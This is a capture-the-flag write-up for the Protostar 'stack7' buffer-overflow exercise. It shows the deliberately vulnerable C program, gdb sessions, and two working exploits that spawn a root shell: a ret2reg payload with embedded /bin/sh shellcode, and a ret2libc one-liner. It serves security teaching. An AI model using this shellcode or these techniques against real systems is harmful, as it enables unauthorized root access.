Protostar vm, stack7

Here is the source of the vulnerable program :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
return strdup(buffer);
}

int main(int argc, char **argv)
{
getpath();



}

This challenge is a slight variation of the previous one, only this time the return address is even more filtered

This challenge is the opportunity to learn a new type of attack : ret2reg

The idea is to look for a register that points to the buffer and then finding an instruction in the stack that jumps to it.

First of, let’s get eip offset :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
user@protostar:~$ gdb -q /opt/protostar/bin/./stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) disass getpath
Dump of assembler code for function getpath:
0x080484c4 <getpath+0>: push %ebp
0x080484c5 <getpath+1>: mov %esp,%ebp
0x080484c7 <getpath+3>: sub $0x68,%esp
0x080484ca <getpath+6>: mov $0x8048620,%eax
0x080484cf <getpath+11>: mov %eax,(%esp)
0x080484d2 <getpath+14>: call 0x80483e4 <printf@plt>
0x080484d7 <getpath+19>: mov 0x8049780,%eax
0x080484dc <getpath+24>: mov %eax,(%esp)
0x080484df <getpath+27>: call 0x80483d4 <fflush@plt>
0x080484e4 <getpath+32>: lea -0x4c(%ebp),%eax
0x080484e7 <getpath+35>: mov %eax,(%esp)
0x080484ea <getpath+38>: call 0x80483a4 <gets@plt>
0x080484ef <getpath+43>: mov 0x4(%ebp),%eax
0x080484f2 <getpath+46>: mov %eax,-0xc(%ebp)
0x080484f5 <getpath+49>: mov -0xc(%ebp),%eax
0x080484f8 <getpath+52>: and $0xb0000000,%eax
0x080484fd <getpath+57>: cmp $0xb0000000,%eax
0x08048502 <getpath+62>: jne 0x8048524 <getpath+96>
0x08048504 <getpath+64>: mov $0x8048634,%eax
0x08048509 <getpath+69>: mov -0xc(%ebp),%edx
0x0804850c <getpath+72>: mov %edx,0x4(%esp)
0x08048510 <getpath+76>: mov %eax,(%esp)
0x08048513 <getpath+79>: call 0x80483e4 <printf@plt>
0x08048518 <getpath+84>: movl $0x1,(%esp)
0x0804851f <getpath+91>: call 0x80483c4 <_exit@plt>
0x08048524 <getpath+96>: mov $0x8048640,%eax
0x08048529 <getpath+101>: lea -0x4c(%ebp),%edx
0x0804852c <getpath+104>: mov %edx,0x4(%esp)
0x08048530 <getpath+108>: mov %eax,(%esp)
0x08048533 <getpath+111>: call 0x80483e4 <printf@plt>
0x08048538 <getpath+116>: lea -0x4c(%ebp),%eax
0x0804853b <getpath+119>: mov %eax,(%esp)
0x0804853e <getpath+122>: call 0x80483f4 <strdup@plt>
0x08048543 <getpath+127>: leave
0x08048544 <getpath+128>: ret
End of assembler dump.
(gdb) b *getpath + 46
Breakpoint 1 at 0x80484f2: file stack7/stack7.c, line 15.
(gdb) r
Starting program: /opt/protostar/bin/stack7
input path please: AAAAAAAAAAAAA

Breakpoint 1, 0x080484f2 in getpath () at stack7/stack7.c:15
15 stack7/stack7.c: No such file or directory.
in stack7/stack7.c
(gdb) x/x $esx
Value can't be converted to integer.
(gdb) x/10x $esp
0xbffff730: 0xbffff74c 0x00000000 0xb7fe1b28 0x00000001
0xbffff740: 0x00000000 0x00000001 0xb7fff8f8 0x41414141
0xbffff750: 0x41414141 0x41414141
(gdb) p $ebp +0x4 - 0xbffff74c
$1 = (void *) 0x50
(gdb)

0x50 which translates to 80 bytes. Now let’s check the registers and see if one points to the buffer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
(gdb) b *getpath+128
Breakpoint 3 at 0x8048544: file stack7/stack7.c, line 24.
(gdb) r
Starting program: /opt/protostar/bin/stack7
input path please: AAAAAAA
got path AAAAAAA

Breakpoint 3, 0x08048544 in getpath () at stack7/stack7.c:24
24 in stack7/stack7.c
(gdb) x/x $eax
0x804a008: 0x41414141
(gdb) x/30x $eax
0x804a008: 0x41414141 0x00414141 0x00000000 0x00020ff1
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a048: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a058: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a068: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a078: 0x00000000 0x00000000
(gdb) x/30x $eax-5x
Invalid number "5x".
(gdb) x/30x $eax-0x20
0x8049fe8: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049ff8: 0x00000000 0x00000000 0x00000000 0x00000011
0x804a008: 0x41414141 0x00414141 0x00000000 0x00020ff1
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a048: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a058: 0x00000000 0x00000000
(gdb)


```

We can see that our %eax register points to the buffer.
Now we have to look for a call to an instruction jumping to eax in the stack


``` bash
user@protostar:~$ objdump -d /opt/protostar/bin/stack7 | grep eax
8048380: 58 pop %eax
8048390: 00 00 add %al,(%eax)
8048418: 50 push %eax
8048450: a1 88 97 04 08 mov 0x8049788,%eax
8048466: 39 d8 cmp %ebx,%eax
8048470: 83 c0 01 add $0x1,%eax
8048473: a3 88 97 04 08 mov %eax,0x8049788
8048478: ff 14 85 5c 96 04 08 call *0x804965c(,%eax,4)
804847f: a1 88 97 04 08 mov 0x8049788,%eax
8048484: 39 d8 cmp %ebx,%eax
80484a6: a1 64 96 04 08 mov 0x8049664,%eax
80484ab: 85 c0 test %eax,%eax
80484af: b8 00 00 00 00 mov $0x0,%eax
80484b4: 85 c0 test %eax,%eax
80484bf: ff d0 call *%eax
80484ca: b8 20 86 04 08 mov $0x8048620,%eax
80484cf: 89 04 24 mov %eax,(%esp)
80484d7: a1 80 97 04 08 mov 0x8049780,%eax
80484dc: 89 04 24 mov %eax,(%esp)
80484e4: 8d 45 b4 lea -0x4c(%ebp),%eax
80484e7: 89 04 24 mov %eax,(%esp)
80484ef: 8b 45 04 mov 0x4(%ebp),%eax
80484f2: 89 45 f4 mov %eax,-0xc(%ebp)
80484f5: 8b 45 f4 mov -0xc(%ebp),%eax
80484f8: 25 00 00 00 b0 and $0xb0000000,%eax
80484fd: 3d 00 00 00 b0 cmp $0xb0000000,%eax
8048504: b8 34 86 04 08 mov $0x8048634,%eax
8048510: 89 04 24 mov %eax,(%esp)
8048524: b8 40 86 04 08 mov $0x8048640,%eax
8048530: 89 04 24 mov %eax,(%esp)
8048538: 8d 45 b4 lea -0x4c(%ebp),%eax
804853b: 89 04 24 mov %eax,(%esp)
804858f: 8d 83 18 ff ff ff lea -0xe8(%ebx),%eax
8048595: 29 c7 sub %eax,%edi
80485a0: 8b 45 10 mov 0x10(%ebp),%eax
80485a3: 89 44 24 08 mov %eax,0x8(%esp)
80485a7: 8b 45 0c mov 0xc(%ebp),%eax
80485aa: 89 44 24 04 mov %eax,0x4(%esp)
80485ae: 8b 45 08 mov 0x8(%ebp),%eax
80485b1: 89 04 24 mov %eax,(%esp)
80485d7: a1 54 96 04 08 mov 0x8049654,%eax
80485dc: 83 f8 ff cmp $0xffffffff,%eax
80485eb: ff d0 call *%eax
80485ed: 8b 03 mov (%ebx),%eax
80485ef: 83 f8 ff cmp $0xffffffff,%eax
user@protostar:~$
```

We'll use 80484bf.
Now let's construct the payload and test it :


```python
#!/usr/bin/env python


shellcode="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42"

payload=shellcode+(80-len(shellcode))*"A"+"\xbf\x84\x04\x08"
print payload
1
2
3
4
5
6
7
8
user@protostar:~$ python pls.py > payload 
user@protostar:~$ cat payload - | /opt/protostar/bin/./stack7
input path please: got path 1��F1�1�̀�[1��C��C

��S
�����/bin/shNAAAABBBBAAAAAAAAA��AAAAAAAAAAAA��
whoami
root

That works !
We could also reuse the solution from stack6 with a slight change : instead of writing sysetm()’s address in eip, we could find a call to a simple ret instruction in the stack and chain it with the rest of the payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
user@protostar:~$ objdump -d /opt/protostar/bin/stack7 | grep ret
8048383: c3 ret
8048494: c3 ret
80484c2: c3 ret
8048544: c3 ret
8048553: c3 ret
8048564: c3 ret
80485c9: c3 ret
80485cd: c3 ret
80485f9: c3 ret
8048617: c3 ret
user@protostar:~$ python -c 'print 80*"a"+"\x17\x86\x04\x08"+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x9b\xf9\xff\xbf"' > payload
user@protostar:~$ cat payload - | /opt/protostar/bin/./stack7
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�aaaaaaaaaaaa������`췛���
ls
payload pls.py sys sys.c var var.c
whoami
root

That also works.